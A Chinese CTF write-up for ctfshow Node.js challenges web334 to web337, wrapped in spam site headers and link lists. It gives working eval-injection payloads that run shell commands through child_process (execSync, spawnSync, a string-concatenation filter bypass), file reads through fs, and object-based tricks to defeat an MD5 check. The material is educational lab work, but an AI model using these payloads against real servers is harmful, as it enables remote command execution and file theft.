当前位置: 首页 > news >正文

网站建设 新要求郑州百度seo网站优

网站建设 新要求,郑州百度seo网站优,xyz域名免费注册,wordpress背景图美化什么是nodejs Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器 Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器…

什么是nodejs
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

这也是我第一次接触js 正好学习一下 js的前端和后端的处理方式 代码会有详细的解释

web334

首页面

后端user.js文件

module.exports = {items: [//这是一个属性 是一个数组 是一个包含用户名和密码的对象{username: 'CTFSHOW', password: '123456'}]
};

后端 login.js文件

var express = require('express');//引入 Express 框架(模块),用于构建 Web 应用程序
var router = express.Router();//创建一个新的路由处理器实例,用于定义和组织路由
var users = require('../modules/user').items;//引入用户数据模块,假设这里的 user 模块包含了用户数据信息
//定义一个函数 参数为name和password
//并且使用find数组方法 遍历整个数组的元素 每个元素作为返回值传给回调函数作为参数
//判断是否有符合条件的 如果有 findUser 函数会立即返回该用户对象;如果没有找到任何匹配的用户对象,则返回 undefined
var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
/* GET home page. */
//这段代码是一个路由处理函数,当客户端发送 POST 请求到根路径 / 时会执行该函数
// 首先设置回复方式为html 
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';//通过 req.session 创建或获取当前会话的 Session 对象var sess = req.session;//获取数据中的用户名和密码作为finduser函数的参数 函数返回值赋值给uservar user = findUser(req.body.username, req.body.password);//如果user存在 执行代码//重新生成会话,并执行回调函数。regenerate 方法用于销毁当前会话并创建一个新的会话,//以确保会话安全性。回调函数中的参数 err 是一个可能的错误对象。如果会话生成过程中出现错误,将通过返回一个 JSON 响应表示登录失败if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});        }//将用户对象的用户名赋值给会话对象的 loginUser 属性req.session.loginUser = user.username;//返回一个 JSON 响应对象,其中包含登录成功的信息,以及之前设置的 flag 变量的值res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}  
});
module.exports = router;

前端的js

<script>$('.btn').click(function(){login();//如果点击btn类名的元素时执行login函数});function login(){ $.ajax({//开启一个异步 定义提交数据类型以及 提交的位置url:'/login',type:'post',data:{username:$('#username').val(),password:$('#password').val()},//数据包返回 会将数据先解析为json格式 然后进行判断success:function(data){data = JSON.parse(data);if(data.ret_code===0){alert(data.ret_flag);}else{alert(data.ret_msg);}                }});}
</script>

其实有用的就是 后端js的判断 

已知用户数据中有 账号为CTFSHOW 密码为123456

判断条件

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

如果提交的name不等于CTFSHOW 且数据中的usernmae等于提交的name的大写 且 数据的password等于提交的password

这样提交小写的ctfshow密码为123456即可

web335

查看源码提示传一个参数 考虑到这里是nodejs,eval很有可能在后端是执行的eval函数

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

传入一个1 回显1 传一个ls无回显 那是正常的 因为这不是shell环境无法ls 这是nodejs环境执行的是js代码 那就想办法怎么执行js代码能做到执行shell代码

这里我们使用require()函数来加载child_process模块 然后使用execSync方法来执行系统命令

require("child_process").execSync('ls')
 

require("child_process").execSync('cat fl00g.txt')

web336

和上一题一样 没什么区别 估计是后端的处理有区别

就是禁用了exec

答案

先用__filename查看当前目录路径

然后读取当前文件名查看过滤点

require('fs').readFileSync('/app/routes/index.js','utf-8')

第一种

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
为什么?eval=require( 'child_process' ).spawnSync( 'ls' )不可以  大概解释就是他的返回结果是一个对象 不能输出 后面加入一个.stdout代表标准输出 也能成功以字符串形式输出再加一个.toString它会将被调用对象转换为字符串表示查看文件

?eval=require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString()

第二种

?eval=require("child_process")['exe'%2B'cSync']('ls')

?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')

第三种读取函数方式

?eval=require("fs").readdirSync('.')     查看当前目录(换成/.可查看根目录)
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件

web337

var express = require('express');//引入了 Express 模块,它是一个基于 Node.js 平台的 Web 开发框架
var router = express.Router();   //创建了一个新的路由对象
var crypto = require('crypto');  //引入了 Node.js 内置的 crypto 模块。该模块提供了一些加密和哈希算法
function md5(s) { //md5函数用于加密return crypto.createHash('md5').update(s).digest('hex');
}
/* GET home page. */
//路由接收到一个get传到当前页面的数据 设置返回类型为html
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;//判断条件的要求是 a和b有值且不相等 长度相等 与flag合并后md5加密相等if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}
});
module.exports = router;

一说两个不一样的进行md5加密 还能相等 那一定就是用到了该变成语言的特性

举个例子

a={'':'1'} //定义一个对象 属性名为空 属性值为1
b={'':'2'}
const c = [1];//定义一个常量数组c 值为1 
const d = [2];
console.log(a+"flag")输出到控制台
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")
//回显
//直接如果是一个对象直接输出 就显示[object Object]
[object Object]flag
[object Object]flag
1flag//数组要是输出那就是数组值
2flag

php中,无论是a[0]=1,a[1]=3…这种key为0,1,2…递增的,还是a[‘x’]=1,a[‘y’]=2这种自定义key的,都叫做数组array;而js中,前者叫数组,后者叫对象(Object)

自然的出答案 这三个但一个意思 都是将a和b当成对象进行赋值

?a[x]=1&b[x]=2
?a[]=1&b[]=1

a[:]=1&b[:]=2

http://www.yayakq.cn/news/187582/

相关文章:

  • 做app和做网站哪个容易wap网页文字游戏
  • 响应式布局网站腾讯云云服务器官网
  • 网站搜索引擎优化的步骤新公司网站设计
  • 锦江网站建设cherry framework wordpress
  • 长兴网站建设列举企业网站建设有哪些好处个人企业网站
  • 免费自助建站哪个网站最好广州网站建设论坛
  • 水果网站建设的策划书天水嘉通建设集团网站
  • 中国建设银行洛阳分行网站海口公司网站建设
  • 阅读分享网站模板佛山网红打卡点
  • wordpress做人事网站移动端快速建站
  • 个人网站策划书模板网站建设叫什么软件
  • 网站做好了 后期怎么做怎么搭建自己的网站后台
  • 网站开发名片怎么做如何把网站程序做授权网址访问
  • 网站运营托管方案个人怎样建网站赚钱
  • 如何制作自己的公司网站上海网站建设网页制作联系方式
  • 石家庄做网站建设的公司哪家好傻瓜做网站软件
  • 公司网站cms图片做网站连接
  • 郑州网站推广多少钱网页版微信登陆入口
  • 袜子技术支持深圳网站建设国际新闻最新消息今天新闻
  • 网站商业授权含义有哪些做国际贸易的网站
  • 建设厅国网查询网站网站开发 避免 字段变化 代码
  • 可以做装修效果图的网站有哪些阿里云网络服务器
  • 四川聚锋建设工程有限公司官方网站竞价单页 网站
  • 房屋租赁网站建设管理成都必去十大网红景点
  • 电脑网站转换手机网站怎么做seo黑帽技术有哪些
  • 开发触屏版网站标签西安为什么今天紧急通知
  • 济南模板建站软件企业管理公司是干什么的
  • 申请一个网站需要多少钱网站的推广方案有哪些
  • 网站百度权重查询张家口桥西区建设局网站
  • 德州做网站dzqifanwordpress 科技类主题